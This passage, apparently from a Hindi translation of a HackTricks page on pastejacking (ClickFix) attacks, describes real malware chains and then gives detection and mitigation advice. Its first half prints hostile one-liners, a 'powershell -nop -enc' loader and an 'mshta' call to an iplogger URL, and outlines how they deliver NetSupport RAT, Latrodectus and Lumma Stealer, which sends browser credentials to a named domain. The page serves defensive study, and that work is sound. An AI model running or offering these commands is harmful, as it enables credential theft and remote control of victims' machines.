||||
```
|
||||
* `jp2launcher.exe` (वैध Java WebStart) अपने निर्देशिका में `msvcp140.dll` की खोज करता है।
|
||||
* दुर्भावनापूर्ण DLL **GetProcAddress** के साथ APIs को गतिशील रूप से हल करता है, **curl.exe** के माध्यम से दो बाइनरी (`data_3.bin`, `data_4.bin`) डाउनलोड करता है, उन्हें एक रोलिंग XOR कुंजी `"https://google.com/"` का उपयोग करके डिक्रिप्ट करता है, अंतिम शेलकोड को इंजेक्ट करता है और **client32.exe** (NetSupport RAT) को `C:\ProgramData\SecurityCheck_v1\` में अनजिप करता है।
|
||||
|
||||
### Latrodectus Loader
|
||||
```
|
||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
1. **curl.exe** के साथ `la.txt` डाउनलोड करता है
|
||||
2. **cscript.exe** के अंदर JScript डाउनलोडर को निष्पादित करता है
|
||||
3. एक MSI पेलोड लाता है → एक साइन किए गए एप्लिकेशन के बगल में `libcef.dll` छोड़ता है → DLL साइडलोडिंग → शेलकोड → Latrodectus।
|
||||
|
||||
### MSHTA के माध्यम से Lumma Stealer
|
||||
```
|
||||
mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
The **mshta** कॉल एक छिपा हुआ PowerShell स्क्रिप्ट लॉन्च करता है जो `PartyContinued.exe` को प्राप्त करता है, `Boat.pst` (CAB) को निकालता है, `extrac32` और फ़ाइल संयोजन के माध्यम से `AutoIt3.exe` को पुनर्निर्माण करता है और अंततः एक `.a3x` स्क्रिप्ट चलाता है जो ब्राउज़र क्रेडेंशियल्स को `sumeriavgv.digital` पर एक्सफिल्ट्रेट करता है।
|
||||
|
||||
## Detection & Hunting
|
||||
|
||||
ब्लू-टीम क्लिपबोर्ड, प्रक्रिया-निर्माण और रजिस्ट्री टेलीमेट्री को मिलाकर पेस्टजैकिंग दुरुपयोग को पहचान सकती है:
|
||||
|
||||
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` **Win + R** कमांड का एक इतिहास रखता है - असामान्य Base64 / ओबफस्केटेड प्रविष्टियों की तलाश करें।
|
||||
* सुरक्षा इवेंट ID **4688** (प्रक्रिया निर्माण) जहां `ParentImage` == `explorer.exe` और `NewProcessName` में { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }।
|
||||
* इवेंट ID **4663** फ़ाइल निर्माण के लिए `%LocalAppData%\Microsoft\Windows\WinX\` या असामान्य 4688 इवेंट से ठीक पहले अस्थायी फ़ोल्डरों के तहत।
|
||||
* EDR क्लिपबोर्ड सेंसर (यदि मौजूद हैं) - `Clipboard Write` के तुरंत बाद एक नए PowerShell प्रक्रिया का सहसंबंध करें।
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. ब्राउज़र हार्डनिंग - क्लिपबोर्ड लिखने की पहुंच को अक्षम करें (`dom.events.asyncClipboard.clipboardItem` आदि) या उपयोगकर्ता इशारा की आवश्यकता करें।
|
||||
2. सुरक्षा जागरूकता - उपयोगकर्ताओं को संवेदनशील कमांड *टाइप* करने या पहले उन्हें टेक्स्ट संपादक में पेस्ट करने के लिए सिखाएं।
|
||||
3. PowerShell Constrained Language Mode / Execution Policy + Application Control को मनमाने एक-लाइनर्स को ब्लॉक करने के लिए।
|
||||
4. नेटवर्क नियंत्रण - ज्ञात पेस्टजैकिंग और मैलवेयर C2 डोमेन के लिए आउटबाउंड अनुरोधों को ब्लॉक करें।
|
||||
|
||||
## Related Tricks
|
||||
|
||||
* **Discord Invite Hijacking** अक्सर एक दुर्भावनापूर्ण सर्वर में उपयोगकर्ताओं को लुभाने के बाद उसी ClickFix दृष्टिकोण का दुरुपयोग करता है:
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user